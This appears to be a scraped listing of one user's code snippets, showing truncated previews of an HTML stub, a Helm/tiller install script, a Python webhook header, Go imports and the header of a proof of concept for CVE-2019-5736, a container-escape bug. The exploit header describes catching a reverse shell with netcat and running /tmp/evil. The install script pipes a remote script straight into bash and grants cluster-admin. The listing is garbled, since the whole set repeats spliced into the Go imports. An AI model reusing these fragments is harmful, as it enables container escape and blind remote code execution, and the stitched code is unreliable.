Abhay Bhargav abhaybhargav

## direct.html
<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <script src="direct.js"></script>
  </head>
  <body></body>
</html>

## install-helm.sh
# install helm

curl https://raw.githubusercontent.com/kubernetes/helm/master/scripts/get | bash

kubectl create serviceaccount -n kube-system tiller
kubectl create clusterrolebinding tiller-binding --clusterrole=cluster-admin --serviceaccount kube-system:tiller

# run tiller with specific tiller account
helm init --service-account tiller

## webhook.py
#!/usr/bin/env python
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import base64
import json
import logging
import os
import os.path
import ssl

## cve-2019-5736.py
#!/bin/python3
# Silly PoC for CVE-2019-5736 in Python by @singe (with help from @_staaldraad, @frichette_n & @_cablethief)
# Target will need a python3 interpreter
# Edit IP info below, on the host run a netcat to catch the reverse shell
# Run this python file in the container
# Then from the host: docker exec -i <container name> /tmp/evil
import os
import stat

host='172.17.0.1'

## main.go
package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/x509"
	"encoding/pem"
	"fmt"
	"log"
	<!doctype html>
	<html>
	<head>
	<meta charset="utf-8" />
	<script src="direct.js"></script>
	</head>
	<body></body>
	</html>
	# install helm

	curl https://raw.githubusercontent.com/kubernetes/helm/master/scripts/get \| bash

	kubectl create serviceaccount -n kube-system tiller
	kubectl create clusterrolebinding tiller-binding --clusterrole=cluster-admin --serviceaccount kube-system:tiller

	# run tiller with specific tiller account
	helm init --service-account tiller
	#!/usr/bin/env python
	from http import HTTPStatus
	from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
	import base64
	import json
	import logging
	import os
	import os.path
	import ssl
	#!/bin/python3
	# Silly PoC for CVE-2019-5736 in Python by @singe (with help from @_staaldraad, @frichette_n & @_cablethief)
	# Target will need a python3 interpreter
	# Edit IP info below, on the host run a netcat to catch the reverse shell
	# Run this python file in the container
	# Then from the host: docker exec -i <container name> /tmp/evil
	import os
	import stat

	host='172.17.0.1'
	package main

	import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/x509"
	"encoding/pem"
	"fmt"
	"log"